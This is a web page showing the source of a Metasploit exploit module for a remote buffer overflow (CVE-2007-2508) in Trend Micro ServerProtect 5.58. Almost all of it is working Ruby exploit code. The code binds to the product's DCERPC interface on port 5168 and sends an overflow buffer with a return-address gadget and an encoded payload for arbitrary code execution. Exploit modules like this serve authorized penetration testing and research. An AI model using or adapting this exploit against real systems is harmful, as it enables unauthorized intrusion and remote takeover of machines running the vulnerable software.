Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(update_info(info,12'Name' => 'Trend Micro ServerProtect 5.58 CreateBinding() Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.15By sending a specially crafted RPC request, an attacker could overflow the16buffer and execute arbitrary code.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22['CVE', '2007-2508'],23['OSVDB', '35790'],24['BID', '23868'],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 800,34'BadChars' => "\x00",35'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",36},37'Platform' => 'win',38'Targets' =>39[40[ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x65675aa8 } ], # pop esi; pop ecx; ret - StRpcSrv.dll41],42'DefaultTarget' => 0,43'DisclosureDate' => '2007-05-07'))4445register_options( [ Opt::RPORT(5168) ])46end4748def exploit49connect50handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])51print_status("Binding to #{handle} ...")5253dcerpc_bind(handle)54print_status("Bound to #{handle} ...")5556filler = rand_text_alpha(360) + Rex::Arch::X86.jmp_short(6) + make_nops(2)57filler << [target.ret].pack('V') + payload.encoded58filler << rand_text_english(1400 - payload.encoded.length)5960len = filler.length6162sploit = NDR.long(0x001f0002) + NDR.long(len) + filler + NDR.long(len)6364print_status("Trying target #{target.name}...")6566begin67dcerpc_call(0, sploit)68rescue Rex::Proto::DCERPC::Exceptions::NoResponse69end7071handler72disconnect73end74end757677